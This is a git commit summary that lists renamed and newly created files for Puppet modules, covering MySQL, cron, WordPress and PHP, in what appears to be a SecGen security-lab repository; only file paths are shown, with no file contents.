rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/server/installdb.pp (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/monitor.pp rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/server/mysqltuner.pp (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/providers.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/root_password.pp rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/manifests/server/service.pp (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/metadata.json (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/mysql.pp create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/secgen_metadata.xml rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/mysql_backup_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/mysql_db_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/mysql_server_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/centos-510-x64.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/centos-59-x64.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/centos-64-x64-pe.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/centos-65-x64.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/default.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/fedora-18-x64.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/sles-11-x64.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/types/mysql_database_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/types/mysql_grant_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/types/mysql_plugin_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/acceptance/types/mysql_user_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/classes/graceful_failures_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/classes/mycnf_template_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/classes/mysql_bindings_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/classes/mysql_client_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/classes/mysql_server_account_security_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/classes/mysql_server_backup_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/classes/mysql_server_monitor_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/classes/mysql_server_mysqltuner_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/classes/mysql_server_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/defines/mysql_db_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/spec.opts (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/spec_helper.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/spec_helper_acceptance.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/spec_helper_local.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/facter/mysql_server_id_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/facter/mysql_version_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/functions/mysql_password_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/functions/mysql_table_exists_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/type/mysql_database_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/type/mysql_grant_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/spec/unit/puppet/type/mysql_user_spec.rb (100%) create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/meb.cnf.erb create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.erb create mode 100644 modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.pass.erb rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/templates/mysqlbackup.sh.erb (100%) rename modules/services/unix/database/{ => mysql_wheezy_compatible}/mysql/templates/xtrabackup.sh.erb (100%) create mode 100644 modules/utilities/unix/example/requires_ubuntu/manifests/install.pp create mode 100644 modules/utilities/unix/example/requires_ubuntu/manifests/service.pp create mode 100644 modules/utilities/unix/example/requires_ubuntu/requires_ubuntu.pp create mode 100644 modules/utilities/unix/example/requires_ubuntu/secgen_metadata.xml create mode 100644 modules/utilities/unix/puppet_module/cron/.github/CONTRIBUTING.md create mode 100644 modules/utilities/unix/puppet_module/cron/.github/ISSUE_TEMPLATE.md create mode 100644 modules/utilities/unix/puppet_module/cron/.github/PULL_REQUEST_TEMPLATE.md create mode 100644 modules/utilities/unix/puppet_module/cron/.gitignore create mode 100644 modules/utilities/unix/puppet_module/cron/.msync.yml create mode 100644 modules/utilities/unix/puppet_module/cron/.overcommit.yml create mode 100644 modules/utilities/unix/puppet_module/cron/.pmtignore create mode 100644 modules/utilities/unix/puppet_module/cron/.rspec create mode 100644 modules/utilities/unix/puppet_module/cron/.rspec_parallel create mode 100644 modules/utilities/unix/puppet_module/cron/.rubocop.yml create mode 100644 modules/utilities/unix/puppet_module/cron/.sync.yml create mode 100644 modules/utilities/unix/puppet_module/cron/.travis.yml create mode 100644 modules/utilities/unix/puppet_module/cron/.yardopts create mode 100644 modules/utilities/unix/puppet_module/cron/CHANGELOG.md create mode 100644 modules/utilities/unix/puppet_module/cron/Gemfile create mode 100644 modules/utilities/unix/puppet_module/cron/HISTORY.md create mode 100644 modules/utilities/unix/puppet_module/cron/LICENSE create mode 100644 modules/utilities/unix/puppet_module/cron/README.md create mode 100644 modules/utilities/unix/puppet_module/cron/Rakefile create mode 100644 modules/utilities/unix/puppet_module/cron/cron.pp create mode 100644 modules/utilities/unix/puppet_module/cron/data/common.yaml create mode 100644 modules/utilities/unix/puppet_module/cron/data/os/Gentoo.yaml create mode 100644 modules/utilities/unix/puppet_module/cron/data/os/RedHat.yaml create mode 100644 modules/utilities/unix/puppet_module/cron/data/os/RedHat/5.yaml create mode 100644 modules/utilities/unix/puppet_module/cron/hiera.yaml create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/.gitkeep create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/daily.pp create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/hourly.pp create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/init.pp create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/install.pp create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/job.pp create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/job/multiple.pp create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/monthly.pp create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/service.pp create mode 100644 modules/utilities/unix/puppet_module/cron/manifests/weekly.pp create mode 100644 modules/utilities/unix/puppet_module/cron/metadata.json create mode 100644 modules/utilities/unix/puppet_module/cron/secgen_metadata.xml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/archlinux-2-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-511-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-6-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-66-x64-pe.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-7-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-78-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-82-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-5.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-6.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-7.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-7.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-8.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-9.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-12.04.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-14.04.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-16.04.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/image_templates.yaml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/rhel-73-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/fedora-25-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/classes/coverage_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/classes/cron_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/classes/install_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/classes/service_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/default_facts.yml create mode 100644 modules/utilities/unix/puppet_module/cron/spec/defines/daily_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/defines/hourly_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/defines/job_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/defines/monthly_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/defines/multiple_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/defines/weekly_spec.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/hosts/.gitkeep create mode 100644 modules/utilities/unix/puppet_module/cron/spec/spec_helper.rb create mode 100644 modules/utilities/unix/puppet_module/cron/spec/spec_helper_methods.rb create mode 100644 modules/utilities/unix/puppet_module/cron/templates/.gitkeep create mode 100644 modules/utilities/unix/puppet_module/cron/templates/job.erb create mode 100644 modules/utilities/unix/puppet_module/cron/templates/multiple.erb create mode 100644 modules/utilities/unix/puppet_module/cron/templates/users.epp create mode 100644 modules/utilities/unix/puppet_module/wordpress/.fixtures.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/.gitignore create mode 100644 modules/utilities/unix/puppet_module/wordpress/.gitlab-ci.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/.pdkignore create mode 100644 modules/utilities/unix/puppet_module/wordpress/.rspec create mode 100644 modules/utilities/unix/puppet_module/wordpress/.rubocop.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/.travis.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/.yardopts create mode 100644 modules/utilities/unix/puppet_module/wordpress/CHANGELOG create mode 100644 modules/utilities/unix/puppet_module/wordpress/Gemfile create mode 100644 modules/utilities/unix/puppet_module/wordpress/LICENSE create mode 100644 modules/utilities/unix/puppet_module/wordpress/Modulefile create mode 100644 modules/utilities/unix/puppet_module/wordpress/README.markdown create mode 100644 modules/utilities/unix/puppet_module/wordpress/Rakefile create mode 100644 modules/utilities/unix/puppet_module/wordpress/appveyor.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/checksums.json create mode 100644 modules/utilities/unix/puppet_module/wordpress/manifests/app.pp create mode 100644 modules/utilities/unix/puppet_module/wordpress/manifests/conf.pp create mode 100644 modules/utilities/unix/puppet_module/wordpress/manifests/db.pp create mode 100644 modules/utilities/unix/puppet_module/wordpress/manifests/init.pp create mode 100644 modules/utilities/unix/puppet_module/wordpress/manifests/instance.pp create mode 100644 modules/utilities/unix/puppet_module/wordpress/manifests/instance/app.pp create mode 100644 modules/utilities/unix/puppet_module/wordpress/manifests/instance/db.pp create mode 100644 modules/utilities/unix/puppet_module/wordpress/metadata.json create mode 100644 modules/utilities/unix/puppet_module/wordpress/secgen_metadata.xml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-6-vcloud.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64-pe.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-65-x64.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/default.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/fedora-18-x64.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/sles-11-x64.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/acceptance/wordpress_spec.rb create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/classes/wordpress_spec.rb create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/default_facts.yml create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/defines/wordpress_spec.rb create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/spec.opts create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/spec_helper.rb create mode 100644 modules/utilities/unix/puppet_module/wordpress/spec/spec_helper_acceptance.rb create mode 100644 modules/utilities/unix/puppet_module/wordpress/templates/wordpress_conf.sh.erb create mode 100644 modules/utilities/unix/puppet_module/wordpress/templates/wp-config.php.erb create mode 100644 modules/utilities/unix/puppet_module/wordpress/templates/wp-keysalts.php.erb create mode 100644 modules/utilities/unix/puppet_module/wordpress/tests/init.pp create mode 100644 modules/utilities/unix/puppet_module/wordpress/wordpress.pp create mode 100644 modules/utilities/unix/web_frameworks/php/CHANGELOG.md create mode 100644 modules/utilities/unix/web_frameworks/php/Gemfile create mode 100644 modules/utilities/unix/web_frameworks/php/HISTORY.md create mode 100644 modules/utilities/unix/web_frameworks/php/LICENSE.txt create mode 100644 modules/utilities/unix/web_frameworks/php/README.md create mode 100644 modules/utilities/unix/web_frameworks/php/Rakefile create mode 100644 modules/utilities/unix/web_frameworks/php/docs/Puppet/Parser/Functions.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/_index.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/css/common.css create mode 100644 modules/utilities/unix/web_frameworks/php/docs/css/full_list.css create mode 100644 modules/utilities/unix/web_frameworks/php/docs/css/style.css create mode 100644 modules/utilities/unix/web_frameworks/php/docs/file.README.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/frames.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/index.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/js/app.js create mode 100644 modules/utilities/unix/web_frameworks/php/docs/js/full_list.js create mode 100644 modules/utilities/unix/web_frameworks/php/docs/js/jquery.js create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_class_list.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aapache_config.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acli.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acomposer.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acomposer_3A_3Aauto_update.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Adev.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aembedded.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm_3A_3Aconfig.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm_3A_3Aservice.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aglobal.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aglobals.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Apackages.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aparams.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Apear.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit_3A_3Aauto_update.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Adebian.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Aredhat.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Asuse.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Aubuntu.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_defined_type_list.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aapache_vhost.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aconfig.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aconfig_3A_3Asetting.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension_3A_3Aconfig.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension_3A_3Ainstall.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Afpm_3A_3Apool.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_function_list.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/ensure_prefix.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/to_hash_settings.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_provider_list.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_providers_package/pear.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/puppet_providers_package/pecl.html create mode 100644 modules/utilities/unix/web_frameworks/php/docs/top-level-namespace.html create mode 100644 modules/utilities/unix/web_frameworks/php/lib/facter/phpversion.rb create mode 100644 modules/utilities/unix/web_frameworks/php/lib/puppet/parser/functions/ensure_prefix.rb create mode 100644 modules/utilities/unix/web_frameworks/php/lib/puppet/parser/functions/to_hash_settings.rb create mode 100644 modules/utilities/unix/web_frameworks/php/lib/puppet/provider/package/pear.rb create mode 100644 modules/utilities/unix/web_frameworks/php/lib/puppet/provider/package/pecl.rb create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/apache_config.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/apache_vhost.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/cli.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/composer.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/composer/auto_update.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/config.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/config/setting.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/dev.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/embedded.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/extension.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/extension/config.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/extension/install.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/fpm.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/fpm/config.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/fpm/pool.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/fpm/service.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/global.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/globals.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/init.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/packages.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/params.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/pear.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/phpunit.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/phpunit/auto_update.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/repo.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/repo/debian.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/repo/redhat.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/repo/suse.pp create mode 100644 modules/utilities/unix/web_frameworks/php/manifests/repo/ubuntu.pp create mode 100644 modules/utilities/unix/web_frameworks/php/metadata.json create mode 100644 modules/utilities/unix/web_frameworks/php/php.pp create mode 100644 modules/utilities/unix/web_frameworks/php/secgen_metadata.xml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/archlinux-2-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-511-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-6-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-66-x64-pe.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-66-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-7-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-72-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/debian-78-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/debian-82-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-5.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-6.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-7.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-7.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-8.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-9.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-12.04.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-14.04.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-16.04.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/image_templates.yaml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/rhel-73-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-24-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-25-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-26-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-27-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/acceptance/php_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/classes/coverage_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_config_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_service_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/classes/php_repo_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/classes/php_repo_ubuntu_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/classes/php_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/default_facts.yml create mode 100644 modules/utilities/unix/web_frameworks/php/spec/defines/config_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/defines/extension_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/defines/fpm_pool_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/list_a create mode 100644 modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/remote-info_benchmark create mode 100644 modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/remote-info_zip create mode 100644 modules/utilities/unix/web_frameworks/php/spec/functions/to_hash_settings_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/spec_helper.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/spec_helper_acceptance.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/unit/provider/package/pear_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/spec/unit/provider/package/pecl_spec.rb create mode 100644 modules/utilities/unix/web_frameworks/php/templates/fpm/php-fpm.conf.erb create mode 100644 modules/utilities/unix/web_frameworks/php/templates/fpm/pool.conf.erb create mode 100644 modules/utilities/unix/web_frameworks/php/types/installoptions.pp create mode 100644 modules/utilities/unix/web_frameworks/php/types/provider.pp create mode 100644 